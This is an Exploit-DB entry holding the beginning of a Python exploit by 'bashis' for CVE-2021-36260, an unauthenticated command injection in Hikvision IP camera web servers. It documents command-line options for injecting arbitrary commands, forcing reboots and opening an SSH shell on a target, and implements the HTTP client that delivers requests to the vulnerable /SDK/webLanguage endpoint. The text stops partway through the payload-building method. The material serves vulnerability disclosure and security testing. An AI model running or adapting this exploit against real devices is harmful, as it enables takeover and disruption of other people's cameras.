Exploit-DB #50441
Description: Hikvision Web Server Build 210702 - Command Injection
Type: webapps
Platform: hardware
Date: 2021-10-25
Author: bashis

Exploit:
# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1)  This code will _not_ verify if remote is Hikvision device or not.
2)  Most of my interest in this code has been concentrated on how to
    reliably detect vulnerable and/or exploitable devices.
    Some devices are easy to detect, verify and exploit the vulnerability,
    other devices may be vulnerable but not so easy to verify and exploit.
    I think the combined verification code should have very high accuracy.
3)  'safe check' (--check) will try write and read for verification
    'unsafe check' (--reboot) will try reboot the device for verification

[Examples]
Safe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
                         [--reboot] [--shell] [--cmd CMD]
                         [--cmd_blind CMD_BLIND] [--noverify]
                         [--proto {http,https}]

optional arguments:
  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --check               Check if vulnerable
  --reboot              Reboot if vulnerable
  --shell               Launch SSH shell
  --cmd CMD             execute cmd (i.e: "ls -l")
  --cmd_blind CMD_BLIND
                        execute blind cmd (i.e: "reboot")
  --noverify            Do not verify if vulnerable
  --proto {http,https}  Protocol used
$
"""

import os
import argparse
import time

import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions


class Http(object):
    def __init__(self, rhost, rport, proto, timeout=60):
        super(Http, self).__init__()

        self.rhost = rhost
        self.rport = rport
        self.proto = proto
        self.timeout = timeout

        self.remote = None
        self.uri = None

        """ Most devices will use self-signed certificates, suppress any warnings """
        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

        self.remote = requests.Session()

        self._init_uri()

        self.remote.headers.update({
            'Host': f'{self.rhost}:{self.rport}',
            'Accept': '*/*',
            'X-Requested-With': 'XMLHttpRequest',
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
        })
        """
        self.remote.proxies.update({
            # 'http': 'http://127.0.0.1:8080',
        })
        """

    def send(self, url=None, query_args=None, timeout=5):

        if query_args:
            """Some devices can handle more, others less, 22 bytes seems like a good compromise"""
            if len(query_args) > 22:
                print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
                return None

        """This weird code will try automatically switch between http/https
        and update Host
        """
        try:
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)
        except requests.exceptions.ConnectionError:
            self.proto = 'https' if self.proto == 'http' else 'https'
            self._init_uri()
            try:
                if url and not query_args:
                    return self.get(url, timeout)
                else:
                    data = self.put('/SDK/webLanguage', query_args, timeout)
            except requests.exceptions.ConnectionError:
                return None
        except requests.exceptions.RequestException:
            return None
        except KeyboardInterrupt:
            return None

        """302 when requesting http on https enabled device"""

        if data.status_code == 302:
            redirect = data.headers.get('Location')
            self.uri = redirect[:redirect.rfind('/')]
            self._update_host()
            if url and not query_args:
                return self.get(url, timeout)
            else:
                data = self.put('/SDK/webLanguage', query_args, timeout)

        return data

    def _update_host(self):
        if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
            self.remote.headers.update({
                'Host': self.uri[self.uri.rfind('://') + 3:],
            })

    def _init_uri(self):
        self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))

    def put(self, url, query_args, timeout):
        """Command injection in the <language> tag"""
        query_args = '<?xml